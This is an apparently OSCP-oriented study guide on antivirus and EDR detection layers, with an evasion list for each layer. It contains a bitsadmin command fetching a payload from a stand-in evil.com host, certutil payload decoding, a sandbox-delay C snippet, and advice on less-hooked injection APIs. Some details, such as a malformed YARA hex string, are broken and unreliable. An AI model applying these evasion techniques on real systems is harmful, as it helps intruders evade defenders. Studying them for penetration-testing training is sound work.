How Antivirus Detection Works
Overview
Modern antivirus (AV) and Endpoint Detection & Response (EDR) solutions use multiple layered detection mechanisms to identify malicious activity. Understanding each layer is critical for OSCP — you’ll encounter AV on nearly every Windows machine, and knowing how it works lets you bypass it effectively.
┌─────────────────────────────────────────────────────────┐
│ AV / EDR Detection Layers │
├─────────────┬──────────┬──────────┬──────────┬──────────┤
│ Signature │ Heuristic │ Behavioral│ Cloud │ Sandbox │
│ (Static) │ (Static) │ (Runtime) │ (Remote) │(Remote) │
└─────────────┴──────────┴──────────┴──────────┴──────────┘
1. Signature-Based Detection
How It Works
Signature-based detection is the oldest and most straightforward AV method. The AV engine maintains a database of known malware hashes and byte patterns. When a file is accessed, created, or executed, the AV computes its hash and compares it against the signature database.
Detection methods:
| Method | Description | Example |
|---|---|---|
| MD5 Hash | 128-bit hash of the entire file | d41d8cd98f00b204e9800998ecf8427e |
| SHA256 Hash | 256-bit hash, more collision-resistant | e3b0c44298fc1c149afbf4c8996fb924... |
| PE Hash | Hash of the compiled PE binary (stripped of headers) | Used by VirusTotal |
| YARA Rules | Pattern-based matching on byte sequences + strings | rule mimikatz { strings: $a = { 5M696D696B61747A } } |
| Byte Signatures | Specific byte sequences in the binary | Known exploit kit headers |
YARA Example
rule known_reverse_shell {
meta:
description = "Detects reverse shell patterns"
author = "AV Vendor"
strings:
$socket = "socket"
$connect = "connect"
$cmd = "/bin/sh"
$ip_pattern = { 4E 73 6C 6F 63 6B } // "NslocK" bytes
condition:
$socket and $connect and $cmd
}
Evasion Strategies
- Modify the binary: Even a single byte change alters MD5/SHA256 completely
- Use compiled tools instead of scripts: Compiled binaries are less likely to have known signatures
- Avoid well-known tools: Don’t use raw
mimikatz.exe,PowerShell Empire, orCobalt Strikeout of the box - Compile your own: Write custom tools or recompile open-source projects with minor modifications
- Encoding/Obfuscation: Base64-encode payloads, use different encodings for PowerShell
# This WILL trigger signature detection:
powershell.exe -enc <known_encoded_command>
# This is LESS likely to trigger (but still risky):
# Compile a custom C# payload with unique strings
2. Heuristic Analysis
How It Works
Heuristic analysis doesn’t rely on known signatures. Instead, it examines the structure and characteristics of a file to determine if it exhibits suspicious properties. Think of it as “does this file look like malware?” rather than “is this file known malware?”
What heuristics check for:
-
Packed/Obfuscated Binaries
- Unusual section names (
.aspack,.UPX, custom names) - High entropy sections (indicating encryption/compression)
- Missing standard sections (
.text,.rdata,.data)
- Unusual section names (
-
Suspicious API Imports
VirtualAllocEx,WriteProcessMemory,CreateRemoteThread→ Process injectionRegOpenKey,RegSetValue→ Persistence via registryInternetOpen,URLDownloadToFile→ Downloading payloadsWinExec,ShellExecute→ Spawning child processes
-
Code Pattern Analysis
- Anti-debugging calls (
IsDebuggerPresent,CheckRemoteDebuggerPresent) - Anti-VM calls (
DeviceIoControl, CPUID checks) - Cryptographic routines (XOR loops, custom encryption)
- Anti-debugging calls (
-
Scoring System
- Each suspicious indicator adds points
- If total score exceeds threshold → flagged as malicious
Heuristic Scoring Example
File: suspicious_tool.exe
├── Packed binary (+30 points)
├── Imports VirtualAllocEx (+20 points)
├── Imports WriteProcessMemory (+20 points)
├── Anti-debugging present (+15 points)
├── No digital signature (+10 points)
├── Unusual section entropy (+15 points)
└── Total: 110 points (Threshold: 75) → MALWARE
Evasion Strategies
- Avoid process injection APIs: Use APC injection or reflective DLL loading instead
- Remove anti-debugging code: Clean compilers don’t add these
- Use legitimate-looking imports: Import only necessary APIs
- Don’t pack your binaries: Use standard compilation without packers
- Split suspicious operations: Separate payload download from execution
3. Behavioral Analysis
How It Works
Behavioral analysis monitors runtime activity of processes. It’s the most powerful detection method because it catches threats regardless of how they look statically. EDR solutions excel here.
What behavioral monitoring tracks:
| Category | Monitored Activities |
|---|---|
| Process | Creation, termination, injection, hollowing |
| File | Creation, modification, deletion, especially in sensitive paths |
| Registry | Run keys, service creation, DLL load order |
| Network | DNS queries, connections to C2, unusual ports |
| Memory | Allocated regions, written code, execution of non-image memory |
| Privilege | Token manipulation, UAC bypass, credential access |
Key Detection Points
Process Creation Chain Detection:
┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ cmd.exe │───▶│powershell│───▶│ whoami │───▶│ ipconfig │
│ │ │ .exe │ │ .exe │ │ /all │
└──────────┘ └──────────┘ └──────────┘ └──────────┘
│ │ │ │
▼ ▼ ▼ ▼
[LOGGED] [LOGGED] [LOGGED] [LOGGED]
└─────────────┴─────────────┴─────────────┘
│
▼
Parent-Child Relationship
Mapped & Flagged as Suspicious
API Hooking
EDR solutions use API hooking to intercept and monitor system calls:
- User-mode hooking: Hooks DLLs like
kernel32.dll,ntdll.dll - Kernel-mode hooking: Hooks at the SSDT (System Service Descriptor Table)
- ETW (Event Tracing for Windows): Monitors structured events
Evasion Strategies
- Living-off-the-Land (LOTL): Use built-in tools (
certutil,bitsadmin,wmic) - Direct syscalls: Bypass hooked APIs by calling kernel directly
- Process injection into trusted processes: Inject into
explorer.exeorsvchost.exe - Time your operations: Delay between suspicious actions to avoid pattern detection
- Use COM objects:
Shell.Applicationcan execute files withoutCreateProcess
# LOTL - Using certutil to decode a base64 payload
certutil -decode payload.b64 payload.exe
# LOTL - Using bitsadmin for file download
bitsadmin /transfer myjob http://evil.com/payload.exe C:\temp\payload.exe
# Using COM to execute without CreateProcess
powershell -c "$c = New-Object -ComObject Shell.Application; $c.ShellExecute('cmd.exe', '/c whoami', '', 'runas', 1)"
4. Cloud-Based Detection
How It Works
Modern AV solutions send file hashes and telemetry to cloud services for analysis. This leverages massive datasets and machine learning models that would be too resource-intensive to run locally.
Cloud detection pipeline:
Local Agent Cloud Service
┌─────────────┐ ┌──────────────────┐
│ 1. Compute │ ──────────▶ │ 2. Hash Lookup │
│ SHA256 │ Submit │ (VirusTotal- │
│ │ │ like DB) │
│ 3. If unknown│ ◀────────── │ 4. Return: │
│ locally, │ Result │ Clean/Known/ │
│ submit to │ │ Suspicious │
│ cloud │ │ │
└─────────────┘ │ 5. If suspicious, │
│ run ML model │
│ 6. Return verdict │
└──────────────────┘
ML Classification Features:
- File entropy analysis
- API call frequency and patterns
- Network behavior profiles
- Historical reputation data
- Community reporting scores
Evasion Strategies
- Use unique payloads: Never use the same payload twice
- Avoid known C2 infrastructure: Use fresh domains/IPs
- Domain fronting: Route C2 through legitimate CDN domains
- Low-and-slow: Reduce frequency of callbacks to avoid pattern detection
- Fileless techniques: Stay in memory to avoid file submission
5. Sandbox Analysis
How It Works
Sandboxes are isolated environments where suspicious files are executed and monitored. The sandbox records all file, registry, network, and process activity to determine malicious behavior.
Common sandbox platforms:
- Cuckoo Sandbox
- Joe Sandbox
- Any.Run
- Hybrid Analysis
- Vendor proprietary sandboxes
Sandbox Evasion Techniques Used by Malware (and Relevant for Us)
Malware often detects sandboxes to avoid analysis — understanding these helps you know what AV sees:
| Detection Method | What It Checks | Example |
|---|---|---|
| VM Artifacts | Known VM hardware, MAC addresses, registry keys | HKLM\SYSTEM\CurrentControlSet\Enum\IDE\VEN_VBOX |
| User Behavior | Mouse movement, typing patterns, time to interact | Sandboxes have no human interaction |
| System State | Number of processes, running services, disk size | Sandboxes have minimal background activity |
| Time-Based | Current time, uptime, activation date | New VMs have recent creation dates |
| Network Artifacts | DNS queries to known sandbox domains, IP reputation | Sandbox IPs are well-known |
Time-Delay Evasion
// Common malware technique: delay execution past sandbox timeout
// Most sandboxes run for 3-5 minutes max
#include <windows.h>
#include <time.h>
int main() {
// Wait 24 hours before executing payload
Sleep(24 * 60 * 60 * 1000);
// Now execute the real payload
system("malware.exe");
return 0;
}
Evasion Strategies
- Don’t trigger sandbox submission: Avoid dropping suspicious files to disk
- Use fileless techniques: Execute from memory only
- Legitimate-looking filenames:
update.exe,svchost.exe(in wrong dir still suspicious) - Avoid sandbox-triggering behavior: Don’t immediately connect to external IPs on execution
6. Detection Flow: How All Layers Work Together
┌─────────────────────────────────────────────────────────────────┐
│ FILE EXECUTION FLOW │
└─────────────────────────────────────────────────────────────────┘
User clicks malicious.exe
│
▼
┌───────────────────┐
│ 1. Real-time Scan │ ← Signature check (MD5/SHA256/YARA)
│ (On-Access) │ Result: CLEAN (no known signature)
└─────────┬─────────┘
│
▼
┌───────────────────┐
│ 2. Heuristic Scan │ ← Structure analysis, API imports
│ │ Result: SUSPICIOUS (score: 65/75)
└─────────┬─────────┘
│
▼
┌───────────────────┐
│ 3. Cloud Submit │ ← Hash sent to cloud for ML analysis
│ │ Result: UNKNOWN (new hash)
└─────────┬─────────┘
│
▼
┌───────────────────┐
│ 4. Execution │ ← File runs, behavioral monitoring begins
│ + Monitoring │
└─────────┬─────────┘
│
▼
┌───────────────────┐
│ 5. Behavioral │ ← API calls, process creation, network
│ Analysis │ Result: DETECTED (injection + C2 callback)
└─────────┬─────────┘
│
▼
┌───────────────────┐
│ 6. Block & Alert │ ← Process terminated, file quarantined,
│ │ alert sent to SOC
└───────────────────┘
7. Key Windows APIs That Trigger Detection
High-Risk APIs (Always Logged by EDR)
// Process Injection Chain
VirtualAllocEx() // Allocate memory in remote process
WriteProcessMemory() // Write code to remote memory
CreateRemoteThread() // Execute code in remote process
NtCreateThreadEx() // Undocumented, less monitored
// Credential Access
LsaRetrievePrivateData() // Access DPAPI secrets
CredRead() // Read stored credentials
MiniDumpWriteDump() // Dump process memory (mimikatz)
// Persistence
RegSetValueEx() // Modify registry (Run keys)
CreateService() // Create Windows service
SchTasks() // Scheduled tasks
// Evasion
IsDebuggerPresent() // Anti-debugging
CheckRemoteDebuggerPresent()
NtQueryInformationProcess() // Process info queries
APIs to Avoid on OSCP
| API | Risk Level | Alternative |
|---|---|---|
CreateRemoteThread |
Critical | Use APC injection or NtCreateThreadEx |
WriteProcessMemory |
Critical | Use NtWriteVirtualMemory (less hooked) |
ShellExecute |
Medium | Use COM Shell.Application |
WinExec |
Medium | Use CreateProcess with hidden flags |
URLDownloadToFile |
High | Use Invoke-WebRequest or certutil |
8. Practical OSCP Evasion Tips
Quick Reference Table
| Detection Method | Best Evasion | OSCP Relevance |
|---|---|---|
| Signature | Use custom/compiled tools | HIGH — AV blocks known tools |
| Heuristic | Avoid packing, clean imports | MEDIUM — some labs have EDR |
| Behavioral | LOTL, delay operations | HIGH — EDR on enterprise boxes |
| Cloud | Fileless, unique payloads | MEDIUM — depends on lab setup |
| Sandbox | Don’t trigger submission | LOW — rare on OSCP labs |
Top 10 OSCP-Specific Tips
- Always use
powershell -ep bypass— Execution Policy is your first barrier - Use
certutilfor downloads — Built-in, less suspicious thanInvoke-WebRequest - Encode PowerShell commands — Use
-EncodedCommandwith unique base64 - Avoid downloading to
C:\Users\Public— Some AV monitors this path heavily - Use
rundll32.exefor DLL execution — Legitimate host process - Prefer
cmd /cover direct execution — Adds indirection - Use
wmic process call create— Alternative process creation - Time your commands — Don’t run everything at once; space operations out
- Check AV status first —
Get-MpComputerStatustells you what’s running - Have fallback methods — If PowerShell is blocked, use
certutil,bitsadmin, ormshta
AV Check Commands
# Check Windows Defender status
Get-MpComputerStatus
# List all installed AV products
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct
# Check Defender exclusion paths
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
# Check if real-time protection is on
Get-MpPreference | Select-Object DisableRealtimeMonitoring
Common AV Products on OSCP Labs
| Product | Notes |
|---|---|
| Windows Defender | Default on Windows 10/11, most common |
| McAfee | Enterprise labs, aggressive real-time scanning |
| Symantec Endpoint Protection | Enterprise, strong behavioral detection |
| Sophos | Common on PRO labs |
| CrowdStrike Falcon | EDR, very strong behavioral detection |
Summary
Understanding AV detection is foundational for AV evasion. Each layer has strengths and weaknesses:
- Signatures are easy to bypass but catch known threats instantly
- Heuristics catch families of malware but can be fooled by clean binaries
- Behavioral analysis is the hardest to evade but requires runtime monitoring
- Cloud detection is powerful but depends on network connectivity
- Sandboxes are thorough but can be detected and avoided
For OSCP, focus on: using LOTL binaries, encoding payloads, avoiding well-known tools, and understanding the detection pipeline so you can plan your approach before engaging a target.